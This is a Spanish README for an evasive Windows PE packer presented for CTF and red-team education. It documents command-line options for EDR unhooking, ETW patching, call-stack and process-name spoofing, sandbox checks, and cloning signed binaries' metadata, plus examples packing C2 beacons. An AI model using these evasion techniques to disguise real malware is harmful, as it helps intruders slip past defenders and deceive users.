
PolyEngine — Actualizado!
PolyEngine es un empaquetador de PE evasivo diseñado para desafíos CTF y educación en seguridad de Windows a bajo nivel. Se centra en evadir las heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación.
PolyEngine — Empaquetador PE Polimórfico 📦
PolyEngine es un empaquetador PE evasivo de grado de investigación diseñado para desafíos CTF y educación en seguridad de Windows de bajo nivel. Se centra en evadir heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación.
Este es un proyecto paralelo en el que he estado trabajando por un tiempo. He usado Claude Code para implementar y corregir algunas de las técnicas que quería implementar en mi propio empaquetador PE. Hay muchos comentarios sobre las funciones y lo que hacen, ya que fue una gran experiencia de aprendizaje para mí y Claude lo hace a la perfección (soy malo en eso). Espero que ayude a algunas personas a aprender algunos internals de Windows o a evadir algunos AV y detecciones estáticas de soluciones más avanzadas cuando aborden esos ProLabs 🏯.
🔥 Un gran agradecimiento a MalDevAcademy por todos los materiales para crearlo y la inspiración.
🌩 Gracias a vx-underground por la inspiración a través de un tweet tonto con un gato ridículo.
Aviso legal: Esta herramienta está destinada exclusivamente a pruebas de seguridad autorizadas, competiciones CTF y uso educativo. El uso contra sistemas sin permiso explícito está prohibido. El autor no asume ninguna responsabilidad por el mal uso.
Uso
Orden de compilación: Stub primero, luego Builder. Stub Release|x64 genera stub_v0.bin..stub_v3.bin; Builder incrusta uno en .rsrc.
Asegúrate de que stub_v0.bin..stub_v3.bin estén en el directorio de trabajo (o pasa --stub).```
Builder.exe [OPTIONS]
Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable
Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]
Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above
Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).
Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
---
## Ejemplos
Ejemplos prácticos agrupados por escenario. Cada opción es de exclusión voluntaria (la evasión está completamente activada por defecto), por lo que la invocación más simple ya obtiene la pila completa.
<details>
<summary><b>Empaquetado básico - EXE / DLL / shellcode</b></summary>
Empaqueta un EXE no administrado. El constructor detecta automáticamente el encabezado `MZ` y enruta a través de la ruta RunPE:```
Builder.exe implant.exe packed.exe
Empaqueta shellcode raw independiente de posición (Cobalt Strike .bin, msfvenom -f raw, etc.). Sin MZ → llamada directa al búfer descomprimido:```
Builder.exe beacon.bin packed.exe
Empaqueta un DLL y llama solo a su `DllMain` predeterminada (sin exportación):```
Builder.exe payload.dll packed.exe
Utilice un stub de una ubicación no predeterminada:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
</details>
<details>
<summary><b>Payloads DLL con exportaciones - Havoc / Sliver / beacons personalizados</b></summary>